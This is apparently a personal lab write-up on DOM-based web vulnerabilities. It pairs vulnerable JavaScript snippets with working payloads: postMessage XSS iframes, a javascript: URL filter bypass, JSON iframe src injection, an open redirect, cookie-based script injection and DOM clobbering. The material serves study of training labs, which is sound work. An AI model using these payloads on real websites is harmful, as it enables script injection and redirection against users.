> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/hacking-web/vulnerabilities/dom-based-vulnerabilities.md).

# DOM-based vulnerabilities

## DOM Based XSS via Misconfigured postMessage() Function

The application insecurely injects user-supplied data (`e.data`) into the DOM using `innerHTML` without validation or sanitization, leading to **DOM-based XSS**. The attacker uses `postMessage` to inject an image tag with an `onerror` handler that triggers JavaScript execution.

**Vulnerablae Function**

```html
<script>
   window.addEventListener('message', function(e) {
      document.getElementById('ads').innerHTML = e.data;
   })
</script>
```

**Sending malicious payload to the target**

```html
<iframe src="https://0abe000f03ab5cf1843519c100490025.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*') "></iframe>
```

## DOM XSS using web messages and a JavaScript URL

The script checks for the presence of `http:` or `https:` in the message string, but doesn’t validate the full protocol. By sending `javascript:print()//http:`, the attacker bypasses the check and causes a redirect to a `javascript:` URI, triggering code execution.

**Vulnerable Function**

```html
<script>
                        window.addEventListener('message', function(e) {
                            var url = e.data;
                            if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
                                location.href = url;
                            }
                        }, false);
</script>
```

**Sending malicious payload to the target**

```html
<iframe src="https://0a1600890338b19e84f0e1fa009d001f.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
```

## DOM XSS using web messages and JSON-parse

The application accepts JSON via `postMessage` and sets the `src` attribute of a dynamically created iframe without validating the URL. Although `javascript:` URIs are typically blocked in iframes, some older browsers or misconfigurations might still execute the JavaScript.

**Vulnerable function:**

```html
<script>
                        window.addEventListener('message', function(e) {
                            var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
                            document.body.appendChild(iframe);
                            try {
                                d = JSON.parse(e.data);
                            } catch(e) {
                                return;
                            }
                            switch(d.type) {
                                case "page-load":
                                    ACMEplayer.element.scrollIntoView();
                                    break;
                                case "load-channel":
                                    ACMEplayer.element.src = d.url;
                                    break;
                                case "player-height-changed":
                                    ACMEplayer.element.style.width = d.width + "px";
                                    ACMEplayer.element.style.height = d.height + "px";
                                    break;
                            }
                        }, false);
                    </script>
```

**Sending malicious Payload:**

```html
<iframe src="https://0a3900e503cd089582c11aa600800027.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
```

## DOM-Based Open Redirection Vulnerability

**Vulnerable function**

```html
<a href='#' onclick='returnUrl = /url=(https?:\/\/.+)/.exec(location); location.href = returnUrl ? returnUrl[1] : "/"'>Back to Blog</a>
```

* This code extracts a `url` parameter from the current URL using a regular expression.
* If a match is found, it **redirects the user to that external URL** using `location.href`.
* If not, it redirects to the homepage (`/`).

**Payload**

```javascript
https://example.com/post?postId=5&url=https://exploit-0a89005e03964aec80441b2f01b70064.exploit-server.net/exploit
```

## DOM-based cookie manipulation

**Vulnerable Function**

```html
<script>
    document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
</script>
```

* The script sets a cookie using the **entire `window.location` as its value**.
* If the attacker injects a payload into the URL, **it becomes part of the HTML DOM when the page renders**.
* This cookie value is later embedded into an anchor tag (`<a>`) directly in the HTML, **without escaping it properly**.

**Injected via query param:**

```html
<a href='https://0a1a0071045910438020129900a1009c.web-security-academy.net/product?productId=2'>Last viewed product</a><p>|</p>
```

**Which becomes:**

```
&data='><script>alert(1)</script>'
```

This breaks the tag and injects the script.

**Final Exploit PoC:**

```html
<iframe src="https://0a1a0071045910438020129900a1009c.web-security-academy.net/product?productId=1&data=%27%3E%3Cscript%3Eprint()%3C/script%3E%27" onload="this.src='https://0a1a0071045910438020129900a1009c.web-security-academy.net/'"></iframe>
```

## DOM-Based XSS via DOM Clobbering&#x20;

Vulnerable Code

```javascript
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'};
let avatarImgHTML = '<img class="avatar" src="' + defaultAvatar.avatar + '">';
divImgContainer.innerHTML = avatarImgHTML;
```

The application checks if `window.defaultAvatar` exists. If not, it falls back to a default object containing an image path.

However, the script **does not validate** whether `window.defaultAvatar` is a safe object. An attacker can take advantage of this by injecting a DOM element like:

```html
<a id="defaultAvatar" name="avatar" href="x" onerror="print()" src="x">
```

This is a technique known as **DOM Clobbering**, where DOM elements with specific `id` or `name` attributes can overwrite global JavaScript variables.

As a result:

* `window.defaultAvatar` now points to the `<a>` element
* `window.defaultAvatar.avatar` becomes the `name="avatar"` value, which is `"x"`
